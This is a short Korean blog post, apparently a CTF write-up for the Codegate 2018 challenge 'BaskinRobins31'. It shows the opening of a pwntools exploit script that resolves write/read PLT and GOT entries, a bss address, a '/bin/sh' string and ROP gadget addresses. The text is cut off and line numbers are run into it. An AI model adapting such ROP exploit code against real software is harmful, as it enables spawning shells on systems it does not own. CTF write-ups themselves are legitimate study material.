codegate2018 - BaskinRobins31

오래간만에 블로그에 포스팅은 하네요 ㅎㅎBaskinRobins31입니다. 12345678910111213141516171819202122232425262728293031323334353637383940from pwn import * r = process("./BaskinRobins31")e = ELF("./BaskinRobins31")l = e.libc write_plt = e.plt["write"]write_got = e.got["write"]read_plt = e.plt["read"]read_got = e.got["read"]bss = e.bss() + 16shell = "/bin/sh"pop_rdi_rsi_rdx = 0x000000000040087apop_rdi = 0x0000000000400bc3..

2018.10.31